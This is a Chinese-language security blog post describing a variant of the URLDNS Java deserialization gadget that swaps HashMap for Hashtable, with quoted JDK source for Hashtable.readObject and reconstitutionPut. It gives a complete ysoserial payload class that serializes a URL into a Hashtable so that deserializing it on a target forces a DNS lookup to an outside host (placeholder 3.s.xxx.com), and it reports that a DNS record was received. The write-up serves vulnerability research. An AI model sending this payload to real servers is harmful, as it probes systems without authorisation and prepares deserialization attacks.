【鸡肋】URLDNS2的反序列化发现

今天在公司分析cve-2020-2551漏洞的时候，发现了一个新的类，叫hashtable。

 

看了下，实现了Serializable的接口，说明这个类是可以序列化的。符合pop链的条件之一。

接下来看下hashtable的readobject方法：

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the threshold and loadFactor
        s.defaultReadObject();

        // Validate loadFactor (ignore threshold - it will be re-computed)
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new StreamCorruptedException("Illegal Load: " + loadFactor);

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Validate # of elements
        if (elements < 0)
            throw new StreamCorruptedException("Illegal # of Elements: " + elements);

        // Clamp original length to be more than elements / loadFactor
        // (this is the invariant enforced with auto-growth)
        origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);

        // Compute new length with a bit of room 5% + 3 to grow but
        // no larger than the clamped original length.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)((elements + elements / 20) / loadFactor) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        length = Math.min(length, origlength);

        if (length < 0) { // overflow
            length = origlength;
        }

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

 

和hashmap很像，实际上hashmap和hashtable作用真的很像，导致他们的代码内部也很像。根据hashmap的经验，去追了一下reconstitutionPut方法，

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

发现了int hash = key.hashCode();说明hashtable下面的key也是会进行hashCode()的操作，和hashmap的URLDNS链异曲同工，那么就简单了，URLDNS2的改写就很简单，直接把hashmap类改成hashtable即可。

源码如下：

package ysoserial.payloads;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.Hashtable;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLNDS2 implements ObjectPayload<Object> {
    @Override
    public Object getObject( final String url1) throws Exception {
        String url = "https://3.s.xxx.com"；
        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();

        Hashtable ht = new Hashtable(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

        return ht;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLNDS2.class, args);
    }

    /**
     * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
     * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
     * using the serialized object.</p>
     *
     * <b>Potential false negative:</b>
     * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
     * second resolution.</p>
     */
    static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

 

URL实例还是作为触发hashtable的hashCode存在。

run 跑一下：

成功收到dns记录。